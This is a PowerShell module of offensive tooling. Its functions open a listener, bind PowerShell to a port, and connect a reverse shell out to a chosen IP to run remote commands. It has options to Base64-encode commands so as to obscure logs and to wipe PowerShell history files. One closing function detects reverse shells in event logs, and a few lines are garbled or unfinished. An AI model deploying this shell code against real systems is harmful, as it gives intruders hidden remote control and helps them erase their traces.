ReversePowerShell.psm1
|
<#
.SYNOPSIS This cmdlet is for starting a listener that a reverse shell connection can attach too. .DESCRIPTION This cmdlet opens a listner port to connect to from a target machine. .PARAMETER Port This parameter is for defining the listening port to connect too. The cmdlet binds connections to the port that you specify. The default value for this parameter is 1337. .EXAMPLE Start-Listener # This examples connects to a listener on port 1337. .EXAMPLE Start-Listener -Port 1234 # This examples connects to a listener on port 1234. .NOTES Author: Robert H. Osborne Alias: tobor Contact: rosborne@osbornepro.com .INPUTS None .OUTPUTS None .LINK https://osbornepro.com https://encrypit.osbornepro.com https://btpssecpack.osbornepro.com https://writeups.osbornepro.com https://github.com/tobor88 https://github.com/OsbornePro https://www.powershellgallery.com/profiles/tobor https://www.linkedin.com/in/roberthosborne/ https://www.credly.com/users/roberthosborne/badges https://www.hackthebox.eu/profile/52286 #> Function Start-Listener { [CmdletBinding(SupportsShouldProcess, ConfirmImpact = 'Low')] param( [Parameter( Mandatory=$False, Position=0, ValueFromPipeline=$False, HelpMessage='Enter a port to listen on. Valid ports are between 1 and 65535. Example: 1234')] # End Parameter [ValidateRange(1,65535)] [Int32]$Port = 1337 ) # End param $PortString = $Port.ToString() Write-Verbose -Message 'Checking for availability of ' + $PortString $TCPProperties = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties() $Connections = $TCPProperties.GetActiveTcpListeners() If ($Connections.Port -Contains "$Port") { Throw '[!] Port ' + $Port + ' is alreday in use by another process(es). Select another port to use or stop the occupying processes.' } # End If Write-Verbose -Message 'Defining listener object' $Socket = New-Object -TypeName System.Net.Sockets.TcpListener('0.0.0.0', $Port) If ($Null -eq $Socket) { Exit } # End If Write-Verbose -Message 'Starting listener on port $PortString and creating job to allow closing the connection' Write-Output -InputObject '[i] If you receive an error message here stating "An attempt was made to access a socket in a way forbidden by its access permissions" you need to restart the hns service. ' Write-Output -InputObject ' [c] Restart-Service -Name hns -Force' If ($PSCmdlet.ShouldProcess($Socket.Start())) { Try { Write-Output -InputObject ('[*] Listening on [0.0.0.0] (port ' + $PortString + ')")') While ($True) { Write-Verbose -Message 'Waiting for connection...' If ($Socket.Pending()) { $Client = $Socket.AcceptTcpClient() Break } # End If Start-Sleep -Seconds 2 } # End While } Finally { If (!($Client.Connected)) { Write-Verbose -Message 'Terminating connection' $Socket.Stop() $Client.Close() $Stream.Dispose() Write-Verbose -Message 'Connection closed' } # End If } # End Try Finally Write-Output -InputObject '[*] Connection Established' Write-Verbose -Message 'Creating byte stream' $Stream = $Client.GetStream() $Writer = New-Object -TypeName System.IO.StreamWriter($Stream) $Buffer = New-Object -TypeName System.Byte[] 2048 $Encoding = New-Object -TypeName System.Text.AsciiEncoding Write-Verbose -Message 'Begin command execution loop' Do { $Command = Read-Host $Writer.WriteLine($Command) $Writer.Flush(); If ($Command -eq 'exit') { Write-Verbose -Message 'Exiting' Break } # End If $Read = $Null While ($Stream.DataAvailable -or $Null -eq $Read) { $Read = $Stream.Read($Buffer, 0, 2048) $Out = $Encoding.GetString($Buffer, 0, $Read) Write-Output -InputObject $Out } # End While } While ($Client.Connected -eq $True) # End Do While Loop Write-Verbose -Message 'Terminating connection' $Socket.Stop() $Client.Close() $Stream.Dispose() Write-Verbose -Message 'Connection closed' } Else { Write-Output -InputObject '[*] Start-Listener would have started a listener on port ' + $PortString } # End If Else } # End Function Start-Listener <# .SYNOPSIS This cmdlet is for binding the PowerShell application to a listening port. .DESCRIPTION This cmdlet opens a Bind Shell that attaches to PowerShell and listens on a port that you define. .PARAMETER Port This parameter is for defining the listening port that PowerShell should attach too This cmdlet binds powershell to the port you speficy. The default value for this parameter is 1337. .EXAMPLE Start-Bind # This examples connects powershell.exe to a listener on port 1337. .EXAMPLE Start-Bind -Port 1234 # This examples connects powershell.exe to a listener on port 1234. .NOTES Author: Robert H. Osborne Alias: tobor Contact: rosborne@osbornepro.com .INPUTS None .OUTPUTS None .LINK https://osbornepro.com https://encrypit.osbornepro.com https://btpssecpack.osbornepro.com https://writeups.osbornepro.com https://github.com/tobor88 https://github.com/OsbornePro https://www.powershellgallery.com/profiles/tobor https://www.linkedin.com/in/roberthosborne/ https://www.credly.com/users/roberthosborne/badges https://www.hackthebox.eu/profile/52286 #> Function Start-Bind { [CmdletBinding(SupportsShouldProcess, ConfirmImpact = 'Low')] param( [Parameter( Mandatory=$False, Position=0, ValueFromPipeline=$False, HelpMessage='Enter a port to listen on. Valid ports are between 1 and 65535. Example: 1234')] # End Parameter [ValidateRange(1,65535)] [Int32]$Port = 1337 ) # End param $PortString = $Port.ToString() Write-Verbose -Message 'Checking for availability of ' + $PortString $TCPProperties = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties() $Connections = $TCPProperties.GetActiveTcpListeners() If ($Connections.Port -Contains "$Port") { Throw '[!] Port ' + $Port + ' is alreday in use by another process(es). Select another port to use or stop the occupying processes.' } # End If Write-Verbose -Message "Creating listener on port $PortString" $Listener = New-Object -TypeName System.Net.Sockets.TcpListener]('0.0.0.0', $Port) If ($PSCmdlet.ShouldProcess($Listener.Start())) { Write-Output -InputObject '[*] PowerShell.exe is bound to port ' + $PortString Try { While ($True) { Write-Verbose -Message 'Begin loop allowing Ctrl+C to stop the listener' If ($Listener.Pending()) { $Client = $Listener.AcceptTcpClient() Break } # End If Start-Sleep -Seconds 2 } # End While } Finally { Write-Output -InputObject '[*] Press Ctrl + C a couple of times in order to reuse the port you selected as a listener again' If ($Listener.Pending()) { Write-Output -InputObject '[*] Closing open port' $Client.Close() $Listener.Stop() } # End If } # End Try Finally Write-Output -InputObject '[*] Connection Established' $Stream = $Client.GetStream() Write-Verbose -Message 'Streaming bytes to PowerShell connection' [Byte[]]$Bytes = 0..65535 | ForEach-Object -Process { 0 } $SendBytes = ([Text.Encoding]::ASCII).GetBytes("Logged into PowerShell as $env:USERNAME on $env:COMPUTERNAME `n`n") $Stream.Write($SendBytes,0,$SendBytes.Length) $SendBytes = ([Text.Encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $Stream.Write($SendBytes,0,$SendBytes.Length) Write-Verbose -Message 'Begin command execution cycle' While (($i = $Stream.Read($Bytes, 0, $Bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $Data = $EncodedText.GetString($Bytes, 0, $i) Try { $SendBack = (Invoke-Expression -Command $Data 2>&1 | Out-String) } Catch { Write-Output -InputObject 'Failure occured attempting to execute the command on target.' $Error[0] | Out-String } # End Try Catch Write-Verbose -Message 'Initial data send failed. Attempting a second time' $SendBack2 = $SendBack + 'PS ' + (Get-Location | Select-Object -ExpandProperty 'Path') + '> ' $x = ($Error[0] | Out-String) $Error.Clear() $SendBack2 = $SendBack2 + $x $SendByte = ([Text.Encoding]::ASCII).GetBytes($SendBack2) $Stream.Write($SendByte, 0, $SendByte.Length) $Stream.Flush() } # End While Write-Verbose -Message 'Terminating connection' $Client.Close() $Listener.Stop() Write-Verbose -Message 'Connection closed' } Else { Write-Output -InputObject '[*] Start-Bind would have bound PowerShell to a listener on port ' + $PortString } # End If Else } # End Function Start-Bind <# .SYNOPSIS This cmdlet is for connecting PowerShell to a listening port on a target machine. .DESCRIPTION Establishes a connection to a listening port on a remote machine effectively completing a reverse or bind shell. .PARAMETER IpAddress This parameter is for defining the IPv4 address to connect too on a remote machine. This cmdlet looks for a connection at this IP address on the remote host. .PARAMETER Port This parameter is for defining the listening port to attach to on a remote machine This cmdlet looks for a connection on a remote host using the port that you speficy here. .PARAMETER Reverse This switch parameter sets the Reverse parameter set value to be used. This is the default parameter set value and is not required. .PARAMETER Bind This switch paramter sets the Bind parameter set values to be used .PARAMETER Obfuscate This switch parameter is used to execute PowerShell commands using Base64 in an attempt to obfuscate logs. .PARAMETER ClearHistory This switch parameter is used to attempt clearing the PowerShell command history upon exiting a session. .EXAMPLE Invoke-ReversePowerShell -IpAddress 192.168.2.1 -Port 1234 -ClearHistory # This command example connects to port 1234 on remote machine 192.168.2.1 and clear the commands executed history afterwards. .EXAMPLE Invoke-ReversePowerShell -Reverse -IpAddress 192.168.2.1 -Port 1337 -Obfuscate # This command example connects to port 1337 on remote machine 192.168.2.1. Any commands executed are obfuscated using Base64. .EXAMPLE Invoke-ReversePowerShell -Bind -IpAddress 192.168.2.1 -Port 1337 -Obfuscate -ClearHistory # This command example connects to bind port 1337 on remote machine 192.168.2.1. Any commands executed are obfuscated using Base64. The powershell command history is then attempted to be erased. .NOTES Author: Robert H. Osborne Alias: tobor Contact: rosborne@osbornepro.com .LINK https://osbornepro.com https://encrypit.osbornepro.com https://btpssecpack.osbornepro.com https://writeups.osbornepro.com https://github.com/tobor88 https://github.com/OsbornePro https://www.powershellgallery.com/profiles/tobor https://www.linkedin.com/in/roberthosborne/ https://www.credly.com/users/roberthosborne/badges https://www.hackthebox.eu/profile/52286 .INPUTS None .OUTPUTS None #> Function Invoke-ReversePowerShell { [CmdletBinding(DefaultParameterSetName='Reverse')] param( [Parameter( ParameterSetName='Reverse', Mandatory=$True, Position=0, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True, HelpMessage='Enter the IP Address of the remote machine. Example: 10.10.14.21')] # End Parameter [Parameter( ParameterSetName='Bind', Mandatory=$True, Position=0, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True, HelpMessage='Enter the IP Address of the remote machine. Example: 10.10.14.21')] # End Parameter [ValidateNotNullorEmpty()] [IPAddress]$IpAddress, [Parameter( ParameterSetName='Reverse', Mandatory=$False, Position=1, ValueFromPipeline=$False, HelpMessage='Enter the port number the remote machine is listening on. Example: 1234 ')] # End Parameter [Parameter( ParameterSetName='Bind', Mandatory=$False, Position=1, ValueFromPipeline=$False, HelpMessage='Enter the port number the remote machine is listening on. Example: 1234 ')] # End Parameter [ValidateNotNullorEmpty()] [ValidateRange(1,65535)] [Int32]$Port = 1337, [Parameter( ParameterSetName='Reverse')] # End Parameter [Switch]$Reverse, [Parameter( ParameterSetName='Bind')] # End Parameter [Switch]$Bind, [Parameter( ParameterSetName='Reverse', Mandatory=$False)] # End Parameter [Parameter( ParameterSetName='Bind', Mandatory=$False)] # End Parameter [Switch][Bool]$Obfuscate, [Parameter( ParameterSetName='Reverse', Mandatory=$False)] # End Parameter [Parameter( ParameterSetName='Bind', Mandatory=$False)] # End Parameter [Alias('C','Cls','Ch','Clear')] [Switch][Bool]$ClearHistory ) # End param Write-Verbose -Message 'Creating a fun infinite loop. - The Shadow King (Amahl Farouk)' $GodsMakeRules = 'They dont follow them' While ($GodsMakeRules -eq 'They dont follow them') { Write-Verbose -Message 'Default error action is being defined as Continue' $ErrorActionPreference = 'Continue' Try { Write-Output -InputObject '[*] Connection attempted. Check your listener.' Switch ($PSCmdlet.ParameterSetName) { 'Reverse' { $Client = New-Object -TypeName System.Net.Sockets.TCPClient($IpAddress,$Port) $Stream = $Client.GetStream() [Byte[]]$Bytes = 0..255 | ForEach-Object -Process {0} $SendBytes = ([Text.Encoding]::ASCII).GetBytes("Welcome $env:USERNAME, you are now connected to $env:COMPUTERNAME " + "`n`n" + 'PS ' + (Get-Location).Path + '> ') $Stream.Write($SendBytes,0,$SendBytes.Length);$Stream.Flush() While (($i = $Stream.Read($Bytes, 0, $Bytes.Length)) -ne 0) { $Command = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($Bytes,0, $i) If ($Command.StartsWith('kill-link')) { If ($ClearHistory.IsPresent) { Write-Output -InputObject '[*] Attempting to clear command history' $CmdHistoryFiles = $env:USERPROFILE + '\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\Visual Studio Code Host_history.txt', $env:USERPROFILE + '\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\Windows PowerShell ISE Host_history.txt', $env:USERPROFILE + '\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt' Clear-History Clear-Content -Path $CmdHistoryFiles -Force -ErrorAction SilentlyContinue Set-PSReadlineOption ???HistorySaveStyle SaveNothing } # End If Write-Verbose -Message 'Closing client connection' $Client.Close() Write-Verbose -Message 'Client connection closed' Exit } # End If Try { # Executes commands If ($Obfuscate.IsPresent) { Write-Verbose -Message 'Obfuscating command' $Base64Cmd = ([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("$Command"))) $ExecuteCmd = PowerShell.exe -EncodedCommand $Base64Cmd -NoLogo -NoProfile -ExecutionPolicy Bypass | Out-String $ExecuteCmdAgain = $ExecuteCmd + 'PS ' + (Get-Location).Path + '> ' } Else { $ExecuteCmd = Invoke-Expression -Command $Command 2>&1 | Out-String $ExecuteCmdAgain = $ExecuteCmd + 'PS ' + (Get-Location).Path + '> ' } # End If Else } Catch { $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage $ExecuteCmdAgain = 'ERROR: ' + $Error[0].ToString() + "`n`n" + 'PS ' + (Get-Location).Path + '> ' } # End Try Catch $ReturnBytes = ([Text.Encoding]::ASCII).GetBytes($ExecuteCmdAgain) $Stream.Write($ReturnBytes,0,$ReturnBytes.Length) $Stream.Flush() } # End While $Client.Close() } # End Reverse Switch 'Bind' { Write-Warning 'Sorry this is not there yet. I am still figuring this part out' $Client = New-Object -TypeName System.Net.Sockets.TCPClient($IpAddress,$Port) $Stream = $Client.GetStream() While (($i = $Stream.Read($Bytes, 0, $Bytes.Length)) -ne 0) { $ReturnBytes = ([Text.Encoding]::ASCII).GetBytes($Stream) $Stream.Write($ReturnBytes,0,$ReturnBytes.Length) $Stream.Flush() } # End While $Client.Close() } # End Bind Switch } # End Switch } Catch { Write-Output -InputObject 'There was a connection error. Retrying occurs every 30 seconds' Write-Verbose -Message 'Client closing...' $Client.Close() Write-Verbose -Message 'Client connection closed' Write-Verbose -Message 'Begining countdown timer to reestablish failed connection' [Int]$Timer = 30 $Length = $Timer / 100 For ($Timer; $Timer -gt 0; $Timer--) { $Text = '0:' + ($Timer % 60) + ' seconds left' Write-Progress -Activity 'Attempting to re-establish connection in: ' -Status $Text -PercentComplete ($Timer / $Length) Start-Sleep -Seconds 1 } # End For } # End Try Catch } # End While $Client.Close() If ($Listener) { $Listener.Stop() } # End If } # End Function Invoke-ReversePowerShell <# .SYNOPSIS This cmdlet can be used to discover reverse shell connections from the past 24 hours. It will ignore connections from the user Paessler as PRTG uses a similar method for creating a TCP socket listener. This will not identify powercat.ps1 reverse shell connections as those are created using a different method. .DESCRIPTION Search the Windows Event Viewer for event id 4656 where a tcp listener was created and connected too. If that returns 0 results event ID 5154 is then returned. The appropriate logging will need to be enabled in the event viewer. .PARAMETER ComputerName Define a remote device you want to search the event logs of. WinRM is attempted first. If that fails RPC is attempted .PARAMETER FilePath Specifies a path to one locations. Wildcards are not permitted. .PARAMETER UseSSL Specifies to attempt using WinRM over HTTPS when grabbing event logs from a remote $ComputerName. Note that if WinRM connection fails it will next attempt an RPC connection .EXAMPLE Find-ReverseShell # This example searches for connections from a remote host. .EXAMPLE Find-ReverseShell -ComputerName Desktop01 -FilePath C:\Temp\log.evt # This example searches the localhost for evidence of reverse shell connections built on connections to a tcp socket. It also saves the log file to C:\Users\<username>\AppData\Local\ReverseShell_Logs_2020.01.20.evt .NOTES Author: Robert H. Osborne Alias: tobor Contact: rosborne@osbornepro.com .INPUTS None .OUTPUTS System.Diagnostics.Eventing.Reader.EventLogntLogRecord Find-ReverseShell returns System.Diagnostics.Eventing.Reader.EventLogRecord objects. .LINK https://osbornepro.com https://encrypit.osbornepro.com https://btpssecpack.osbornepro.com https://writeups.osbornepro.com https://github.com/tobor88 https://github.com/OsbornePro https://www.powershellgallery.com/profiles/tobor https://www.linkedin.com/in/roberthosborne/ https://www.credly.com/users/roberthosborne/badges https://www.hackthebox.eu/profile/52286 #> Function Find-ReverseShell { [CmdletBinding(DefaultParameterSetName='Local')] param( [Parameter( ParameterSetName='Remote', Mandatory=$True, Position=0, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True, HelpMessage='Enter a hostname, FQDN, or an IPv4 address')] # End Parameter [Parameter( ParameterSetName='Local', Mandatory=$False, Position=0, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True, HelpMessage='Enter a hostname, FQDN, or an IPv4 address and follow multiple values using a comma.')] # End Parameter [Alias('cn','Computer')] [String[]]$ComputerName, [Parameter( ParameterSetName='Remote', Mandatory=$False, Position=1, HelpMessage='Enter the full path name to a .xml file. Example: C:\Temp\results.xml')] # End Parameter [Parameter( ParameterSetName='Local', Mandatory=$False, Position=1, HelpMessage='Enter the full path name to a .xml file. Example: C:\Temp\results.xml')] # End Parameter [Alias('Path')] [ValidateScript( {If ((!(Test-Path -Path $FilePath)) -and ($FilePath -like "*.xml")) {New-Item -Type Directory -Path $FilePath}} )] [String]$FilePath, [Parameter( ParameterSetName='Remote', Mandatory=$False)] # End Parameter [Switch][Bool]$UseSSL ) # End param If ($ComputerName) { $SSL = $False If ($UseSSL.IsPresent) { $SSL = $True } # End If Write-Output -InputObject '[*] Checking for Reverse Shells that connect to a System.Net.Sockets.TcpListener object, excluding ports opened by the paessler account' Try { $TcpListenerCheck = Invoke-Command -HideComputerName $ComputerName -UseSSL:$SSL -ScriptBlock { Get-WinEvent -ComputerName $ComputerName -LogName Security -FilterXPath '*[System[EventID=4656 and TimeCreated[timediff(@SystemTime) <= 86400000]] and EventData[Data[@Name="SubjectUserName"]!="paessler"] and EventData[Data[@Name="ObjectServer"]="WS-Management Listener"]]' -ErrorAction SilentlyContinue If ($Null -eq $TcpListenerCheck) { $TcpListenerCheck = Get-WinEvent -LogName Security -FilterXPath '*[System[EventID=5154 and TimeCreated[timediff(@SystemTime) <= 86400000]] and EventData[Data[@Name="SourceAddress"]!="127.0.0.1"] and EventData[Data[@Name="FilterRTID"]=0] and EventData[Data[@Name="SourcePort"]!=139]]' -ErrorVariable $CmdError $TcpListenerCheck = $TcpListenerCheck | Where-Object -FilterScript { $_.Properties.Value.Get(1) -match 'powershell' -or $_.Properties.Value.Get(1) -match 'cmd' } } # End If } # End Invoke-Command } Catch { $TcpListenerCheck = Get-WinEvent -ComputerName $ComputerName -LogName Security -FilterXPath '*[System[EventID=4656 and TimeCreated[timediff(@SystemTime) <= 86400000]] and EventData[Data[@Name="SubjectUserName"]!="paessler"] and EventData[Data[@Name="ObjectServer"]="WS-Management Listener"]]' -ErrorAction SilentlyContinue If ($Null -eq $TcpListenerCheck) { $TcpListenerCheck = Get-WinEvent -ComputerName $ComputerName -LogName 'Security' -FilterXPath '*[System[EventID=5154 and TimeCreated[timediff(@SystemTime) <= 86400000]] and EventData[Data[@Name="SourceAddress"]!="127.0.0.1"] and EventData[Data[@Name="FilterRTID"]=0] and EventData[Data[@Name="SourcePort"]!=139]]' -ErrorVariable $CmdError $TcpListenerCheck = $TcpListenerCheck | Where-Object -FilterScript { $_.Properties.Value.Get(1) -match 'powershell' -or $_.Properties.Value.Get(1) -match 'cmd' } } # End If } # End Try Catch } Else { Write-Output -InputObject '[*] Checking for Reverse Shells that connect to a System.Net.Sockets.TcpListener object, excluding ports opened by the paessler account' $TcpListenerCheck = Get-WinEvent -LogName Security -FilterXPath '*[System[EventID=4656 and TimeCreated[timediff(@SystemTime) <= 86400000]] and EventData[Data[@Name="SubjectUserName"]!="paessler"] and EventData[Data[@Name="ObjectServer"]="WS-Management Listener"]]' -ErrorAction SilentlyContinue If ($Null -eq $TcpListenerCheck) { $TcpListenerCheck = Get-WinEvent -LogName Security -FilterXPath '*[System[EventID=5154 and TimeCreated[timediff(@SystemTime) <= 86400000]] and EventData[Data[@Name="SourceAddress"]!="127.0.0.1"] and EventData[Data[@Name="FilterRTID"]=0] and EventData[Data[@Name="SourcePort"]!=139]]' -ErrorVariable $CmdError $TcpListenerCheck = $TcpListenerCheck | Where-Object -FilterScript { $_.Properties.Value.Get(1) -match 'powershell' -or $_.Properties.Value.Get(1) -match 'cmd' } } # End If } # End If Else If ($Null -ne $TcpListenerCheck) { Write-Verbose -Message 'Shell Event was found' Return $TcpListenerCheck If ($FilePath) { Write-Verbose -Message 'Building XML file and saving too' + $FilePath $TcpListenerCheck.ToXml() | Out-File -FilePath $FilePath Write-Warning 'A reverse shell has been discovered to exist from the last 24 hours.' Write-Output -InputObject ('[!] ' + $FilePath + ' contains the related events in XML format.') } # End If } Else { Write-Output -InputObject '[*] No Reverse shells have been discovered to exist in the last 24 hours.' } # End If Else } # End Function Find-ReverseShell |